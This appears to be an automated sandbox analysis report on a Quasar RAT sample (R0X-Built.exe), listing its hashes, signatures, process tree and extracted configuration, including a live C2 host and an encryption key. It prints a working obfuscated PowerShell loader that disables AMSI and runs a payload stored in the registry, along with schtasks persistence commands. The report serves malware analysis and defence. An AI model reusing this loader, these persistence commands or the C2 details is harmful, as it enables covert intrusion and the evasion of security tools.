Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240419-en
  • resource tags

    arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    02-05-2024 20:59

General

  • Target

    R0X-Built.exe

  • Size

    409KB

  • MD5

    a0f5aa5764c4f66eee82f857f9f447b6

  • SHA1

    3c3a780d020cb3eb3088223443fe813abb95dccd

  • SHA256

    43c6b9b6c241dbd6ad1bde7980026235373374d5e836fb6c794354a15e678ef3

  • SHA512

    458c03ae490e409598b8e9e89911b0757fb61411fbc45a60ecefed3c13d0fc96b7bc205afe1fb3e0f7585eb163f102754ec9259691eca1bfa00b028f74eb8384

  • SSDEEP

    6144:RMX2pJAJcC0B61K6qZ1fQ57P/EwXhb4azmosb+lfXdOIFyoOOfTA3pwF:lpyJcC+uK6qZ1G8QJjbfNOSOObA3pwF

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

Slave

C2

even-lemon.gl.at.ply.gg:33587

Mutex

$Sxr-3vDee7FzoJnhqjuE3n

Attributes
  • encryption_key

    KaNwItdY6wlv5nCN4prL

  • install_name

    $srr-powershell.exe

  • log_directory

    Logs

  • reconnect_delay

    1000

  • startup_key

    $srr-powershell

  • subdirectory

    Windows

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 55 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:632
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:460
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{f816fa4c-2d80-405d-9c7a-d63c2210d796}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4940
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:688
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:996
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
            1⤵
              PID:720
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
              1⤵
                PID:1036
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1044
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                  1⤵
                    PID:1100
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                    1⤵
                      PID:1160
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                      1⤵
                        PID:1180
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:FfeAyZmxiMuX{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$RPfCydHltNFkib,[Parameter(Position=1)][Type]$BaUwOXrJjl)$mcPGFrVMJTm=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+'f'+'l'+'e'+[Char](99)+''+[Char](116)+''+[Char](101)+'dD'+[Char](101)+'l'+'e'+''+[Char](103)+''+'a'+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+'o'+[Char](114)+''+'y'+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+'M'+''+[Char](121)+'De'+[Char](108)+'e'+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+'T'+''+'y'+''+'p'+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+','+'A'+'n'+''+[Char](115)+''+[Char](105)+''+'C'+''+'l'+''+[Char](97)+''+[Char](115)+'s'+','+'A'+[Char](117)+''+'t'+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$mcPGFrVMJTm.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+[Char](112)+'e'+[Char](99)+''+'i'+''+'a'+''+'l'+''+[Char](78)+'am'+'e'+''+[Char](44)+''+'H'+''+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+','+[Char](80)+''+'u'+'b'+'l'+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$RPfCydHltNFkib).SetImplementationFlags(''+'R'+'u'+'n'+''+[Char](116)+'ime,'+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$mcPGFrVMJTm.DefineMethod(''+[Char](73)+'nv'+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+'H'+[Char](105)+'d'+[Char](101)+''+'B'+'y'+[Char](83)+'ig'+[Char](44)+''+[Char](78)+''+'e'+''+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+'t'+','+'V'+[Char](105)+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+'',$BaUwOXrJjl,$RPfCydHltNFkib).SetImplementationFlags('R'+[Char](117)+'n'+[Char](116)+''+[Char](105)+''+'m'+'e,'+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+'d');Write-Output $mcPGFrVMJTm.CreateType();}$gyvtCtEnMElSJ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+'em'+[Char](46)+''+[Char](100)+''+'l'+'l')}).GetType(''+[Char](77)+''+'i'+''+'c'+'r'+[Char](111)+''+[Char](115)+''+[Char](111)+'f'+'t'+''+[Char](46)+'W'+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+'.'+[Char](85)+''+[Char](110)+''+'s'+''+[Char](97)+''+'f'+''+[Char](101)+''+'N'+'a'+[Char](116)+''+'i'+'v'+[Char](101)+''+[Char](77)+'e'+[Char](116)+''+[Char](104)+'o'+'d'+''+'s'+'');$maCXFrrWWCipHQ=$gyvtCtEnMElSJ.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+'oc'+[Char](65)+'d'+'d'+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+'bl'+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'t'+''+'a'+''+'t'+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$cbugsVvgOoeqkrxBoSj=FfeAyZmxiMuX @([String])([IntPtr]);$KKkDpsGDetWjhEsEgGrhmk=FfeAyZmxiMuX @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$KIkmedumeyX=$gyvtCtEnMElSJ.GetMethod('G'+[Char](101)+'tM'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+'r'+''+[Char](110)+''+'e'+'l'+'3'+''+[Char](50)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')));$zhIluKzFnspIzT=$maCXFrrWWCipHQ.Invoke($Null,@([Object]$KIkmedumeyX,[Object](''+'L'+''+[Char](111)+''+[Char](97)+''+'d'+'Li'+[Char](98)+''+[Char](114)+''+'a'+''+[Char](114)+''+[Char](121)+'A')));$NWjSiDPuPQzntJJcF=$maCXFrrWWCipHQ.Invoke($Null,@([Object]$KIkmedumeyX,[Object]('V'+'i'+''+'r'+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+'t'+[Char](101)+'c'+[Char](116)+'')));$KRLkQko=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zhIluKzFnspIzT,$cbugsVvgOoeqkrxBoSj).Invoke('a'+[Char](109)+''+'s'+''+'i'+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'');$IUmvlpZiHUlvgCHps=$maCXFrrWWCipHQ.Invoke($Null,@([Object]$KRLkQko,[Object](''+'A'+''+[Char](109)+''+[Char](115)+'i'+'S'+'can'+'B'+''+[Char](117)+''+[Char](102)+''+'f'+''+[Char](101)+''+'r'+'')));$ToepwfnrCu=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NWjSiDPuPQzntJJcF,$KKkDpsGDetWjhEsEgGrhmk).Invoke($IUmvlpZiHUlvgCHps,[uint32]8,4,[ref]$ToepwfnrCu);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$IUmvlpZiHUlvgCHps,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NWjSiDPuPQzntJJcF,$KKkDpsGDetWjhEsEgGrhmk).Invoke($IUmvlpZiHUlvgCHps,[uint32]8,0x20,[ref]$ToepwfnrCu);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+'F'+'T'+''+[Char](87)+''+'A'+''+[Char](82)+'E').GetValue(''+[Char](36)+'77'+'s'+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
                          2⤵
                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                          • Drops file in System32 directory
                          • Suspicious use of SetThreadContext
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:4232
                      • C:\Windows\System32\svchost.exe
                        C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
                        1⤵
                          PID:1212
                        • C:\Windows\System32\svchost.exe
                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                          1⤵
                          • Drops file in System32 directory
                          PID:1324
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                          1⤵
                            PID:1344
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                            1⤵
                              PID:1392
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                              1⤵
                                PID:1400
                              • C:\Windows\System32\svchost.exe
                                C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                1⤵
                                  PID:1424
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                  1⤵
                                    PID:1580
                                    • C:\Windows\system32\sihost.exe
                                      sihost.exe
                                      2⤵
                                        PID:712
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                      1⤵
                                        PID:1616
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                        1⤵
                                          PID:1676
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k NetworkService -p
                                          1⤵
                                            PID:1732
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                            1⤵
                                              PID:1792
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                              1⤵
                                                PID:1868
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1972
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:1968
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                    1⤵
                                                      PID:1832
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                      1⤵
                                                        PID:1932
                                                      • C:\Windows\System32\spoolsv.exe
                                                        C:\Windows\System32\spoolsv.exe
                                                        1⤵
                                                          PID:2132
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                          1⤵
                                                            PID:2224
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k NetworkService -p
                                                            1⤵
                                                              PID:2320
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                              1⤵
                                                                PID:2340
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                1⤵
                                                                  PID:2356
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                  1⤵
                                                                    PID:2428
                                                                  • C:\Windows\sysmon.exe
                                                                    C:\Windows\sysmon.exe
                                                                    1⤵
                                                                      PID:2436
                                                                    • C:\Windows\System32\svchost.exe
                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                      1⤵
                                                                        PID:2464
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                        1⤵
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:2480
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                        1⤵
                                                                          PID:2492
                                                                        • C:\Windows\System32\svchost.exe
                                                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                          1⤵
                                                                            PID:2760
                                                                          • C:\Windows\system32\wbem\unsecapp.exe
                                                                            C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                            1⤵
                                                                              PID:2024
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                              1⤵
                                                                                PID:2752
                                                                              • C:\Windows\Explorer.EXE
                                                                                C:\Windows\Explorer.EXE
                                                                                1⤵
                                                                                  PID:3312
                                                                                  • C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe"
                                                                                    2⤵
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:5024
                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                      "schtasks" /create /tn "$srr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe" /rl HIGHEST /f
                                                                                      3⤵
                                                                                      • Creates scheduled task(s)
                                                                                      PID:2740
                                                                                    • C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe
                                                                                      "C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe"
                                                                                      3⤵
                                                                                      • Executes dropped EXE
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:1480
                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                        "schtasks" /create /tn "$srr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe" /rl HIGHEST /f
                                                                                        4⤵
                                                                                        • Creates scheduled task(s)
                                                                                        PID:3320
                                                                                    • C:\Users\Admin\AppData\Local\Temp\install.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\install.exe"
                                                                                      3⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:4776
                                                                                    • C:\Windows\SysWOW64\SCHTASKS.exe
                                                                                      "SCHTASKS.exe" /create /tn "$77R0X-Built.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe'" /sc onlogon /rl HIGHEST
                                                                                      3⤵
                                                                                      • Creates scheduled task(s)
                                                                                      PID:2284
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                  1⤵
                                                                                    PID:3428
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                    1⤵
                                                                                      PID:3492
                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                      1⤵
                                                                                        PID:3852
                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                        1⤵
                                                                                        • Suspicious use of UnmapMainImage
                                                                                        PID:3920
                                                                                      • C:\Windows\system32\DllHost.exe
                                                                                        C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                        1⤵
                                                                                          PID:4000
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
                                                                                          1⤵
                                                                                            PID:4060
                                                                                          • C:\Windows\system32\DllHost.exe
                                                                                            C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
                                                                                            1⤵
                                                                                              PID:4256
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
                                                                                              1⤵
                                                                                                PID:4400
                                                                                              • C:\Windows\system32\SppExtComObj.exe
                                                                                                C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                1⤵
                                                                                                  PID:2100
                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                  C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                  1⤵
                                                                                                    PID:2684
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                                    1⤵
                                                                                                      PID:4916
                                                                                                    • C:\Windows\System32\svchost.exe
                                                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                      1⤵
                                                                                                        PID:1368
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                        1⤵
                                                                                                        • Modifies data under HKEY_USERS
                                                                                                        PID:3684
                                                                                                      • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                        "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                        1⤵
                                                                                                        • Drops file in System32 directory
                                                                                                        • Modifies data under HKEY_USERS
                                                                                                        PID:2472
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                        1⤵
                                                                                                          PID:1444
                                                                                                        • C:\Windows\system32\DllHost.exe
                                                                                                          C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                          1⤵
                                                                                                            PID:3660
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                            1⤵
                                                                                                              PID:4180
                                                                                                            • C:\Windows\System32\RuntimeBroker.exe
                                                                                                              C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                              1⤵
                                                                                                                PID:1420
                                                                                                              • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                1⤵
                                                                                                                • Checks BIOS information in registry
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                PID:2072

                                                                                                              Network

                                                                                                              MITRE ATT&CK Enterprise v15

                                                                                                              Replay Monitor

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                                                                                                              Downloads

                                                                                                              • C:\Users\Admin\AppData\Local\Temp\install.exe

                                                                                                                Filesize

                                                                                                                162KB

                                                                                                                MD5

                                                                                                                152e3f07bbaf88fb8b097ba05a60df6e

                                                                                                                SHA1

                                                                                                                c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

                                                                                                                SHA256

                                                                                                                a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

                                                                                                                SHA512

                                                                                                                2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

                                                                                                              • C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe

                                                                                                                Filesize

                                                                                                                409KB

                                                                                                                MD5

                                                                                                                a0f5aa5764c4f66eee82f857f9f447b6

                                                                                                                SHA1

                                                                                                                3c3a780d020cb3eb3088223443fe813abb95dccd

                                                                                                                SHA256

                                                                                                                43c6b9b6c241dbd6ad1bde7980026235373374d5e836fb6c794354a15e678ef3

                                                                                                                SHA512

                                                                                                                458c03ae490e409598b8e9e89911b0757fb61411fbc45a60ecefed3c13d0fc96b7bc205afe1fb3e0f7585eb163f102754ec9259691eca1bfa00b028f74eb8384

                                                                                                              • C:\Windows\Temp\__PSScriptPolicyTest_wg2eujiu.euf.ps1

                                                                                                                Filesize

                                                                                                                60B

                                                                                                                MD5

                                                                                                                d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                SHA1

                                                                                                                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                SHA256

                                                                                                                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                SHA512

                                                                                                                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                              • memory/460-80-0x000002667FB10000-0x000002667FB3B000-memory.dmp

                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/460-87-0x00007FFEF5250000-0x00007FFEF5260000-memory.dmp

                                                                                                                Filesize

                                                                                                                64KB

                                                                                                              • memory/460-86-0x000002667FB10000-0x000002667FB3B000-memory.dmp

                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/632-47-0x000001F76AA50000-0x000001F76AA7B000-memory.dmp

                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/632-53-0x000001F76AA50000-0x000001F76AA7B000-memory.dmp

                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/632-45-0x000001F76A7D0000-0x000001F76A7F5000-memory.dmp

                                                                                                                Filesize

                                                                                                                148KB

                                                                                                              • memory/632-54-0x00007FFEF5250000-0x00007FFEF5260000-memory.dmp

                                                                                                                Filesize

                                                                                                                64KB

                                                                                                              • memory/632-46-0x000001F76AA50000-0x000001F76AA7B000-memory.dmp

                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/688-58-0x000001D0BB9C0000-0x000001D0BB9EB000-memory.dmp

                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/688-64-0x000001D0BB9C0000-0x000001D0BB9EB000-memory.dmp

                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/688-65-0x00007FFEF5250000-0x00007FFEF5260000-memory.dmp

                                                                                                                Filesize

                                                                                                                64KB

                                                                                                              • memory/720-91-0x000001571DB70000-0x000001571DB9B000-memory.dmp

                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/996-76-0x00007FFEF5250000-0x00007FFEF5260000-memory.dmp

                                                                                                                Filesize

                                                                                                                64KB

                                                                                                              • memory/996-75-0x000001D714AB0000-0x000001D714ADB000-memory.dmp

                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/996-69-0x000001D714AB0000-0x000001D714ADB000-memory.dmp

                                                                                                                Filesize

                                                                                                                172KB

                                                                                                              • memory/1480-14-0x0000000074620000-0x0000000074DD1000-memory.dmp

                                                                                                                Filesize

                                                                                                                7.7MB

                                                                                                              • memory/1480-699-0x0000000074620000-0x0000000074DD1000-memory.dmp

                                                                                                                Filesize

                                                                                                                7.7MB

                                                                                                              • memory/1480-13-0x0000000074620000-0x0000000074DD1000-memory.dmp

                                                                                                                Filesize

                                                                                                                7.7MB

                                                                                                              • memory/1480-30-0x0000000006FA0000-0x0000000006FAA000-memory.dmp

                                                                                                                Filesize

                                                                                                                40KB

                                                                                                              • memory/1480-698-0x0000000074620000-0x0000000074DD1000-memory.dmp

                                                                                                                Filesize

                                                                                                                7.7MB

                                                                                                              • memory/4232-32-0x00007FFF351C0000-0x00007FFF353C9000-memory.dmp

                                                                                                                Filesize

                                                                                                                2.0MB

                                                                                                              • memory/4232-33-0x00007FFF345E0000-0x00007FFF3469D000-memory.dmp

                                                                                                                Filesize

                                                                                                                756KB

                                                                                                              • memory/4232-31-0x0000022F18B10000-0x0000022F18B3A000-memory.dmp

                                                                                                                Filesize

                                                                                                                168KB

                                                                                                              • memory/4232-29-0x0000022F7F9A0000-0x0000022F7F9C2000-memory.dmp

                                                                                                                Filesize

                                                                                                                136KB

                                                                                                              • memory/4940-41-0x00007FFF345E0000-0x00007FFF3469D000-memory.dmp

                                                                                                                Filesize

                                                                                                                756KB

                                                                                                              • memory/4940-34-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                Filesize

                                                                                                                32KB

                                                                                                              • memory/4940-35-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                Filesize

                                                                                                                32KB

                                                                                                              • memory/4940-40-0x00007FFF351C0000-0x00007FFF353C9000-memory.dmp

                                                                                                                Filesize

                                                                                                                2.0MB

                                                                                                              • memory/4940-37-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                Filesize

                                                                                                                32KB

                                                                                                              • memory/4940-42-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                Filesize

                                                                                                                32KB

                                                                                                              • memory/4940-36-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                Filesize

                                                                                                                32KB

                                                                                                              • memory/4940-39-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                Filesize

                                                                                                                32KB

                                                                                                              • memory/5024-1-0x0000000000820000-0x000000000088C000-memory.dmp

                                                                                                                Filesize

                                                                                                                432KB

                                                                                                              • memory/5024-2-0x0000000005840000-0x0000000005DE6000-memory.dmp

                                                                                                                Filesize

                                                                                                                5.6MB

                                                                                                              • memory/5024-7-0x00000000066E0000-0x000000000671C000-memory.dmp

                                                                                                                Filesize

                                                                                                                240KB

                                                                                                              • memory/5024-0-0x000000007462E000-0x000000007462F000-memory.dmp

                                                                                                                Filesize

                                                                                                                4KB

                                                                                                              • memory/5024-5-0x0000000005460000-0x00000000054C6000-memory.dmp

                                                                                                                Filesize

                                                                                                                408KB

                                                                                                              • memory/5024-20-0x0000000074620000-0x0000000074DD1000-memory.dmp

                                                                                                                Filesize

                                                                                                                7.7MB

                                                                                                              • memory/5024-3-0x00000000053C0000-0x0000000005452000-memory.dmp

                                                                                                                Filesize

                                                                                                                584KB

                                                                                                              • memory/5024-4-0x0000000074620000-0x0000000074DD1000-memory.dmp

                                                                                                                Filesize

                                                                                                                7.7MB

                                                                                                              • memory/5024-6-0x00000000061B0000-0x00000000061C2000-memory.dmp

                                                                                                                Filesize

                                                                                                                72KB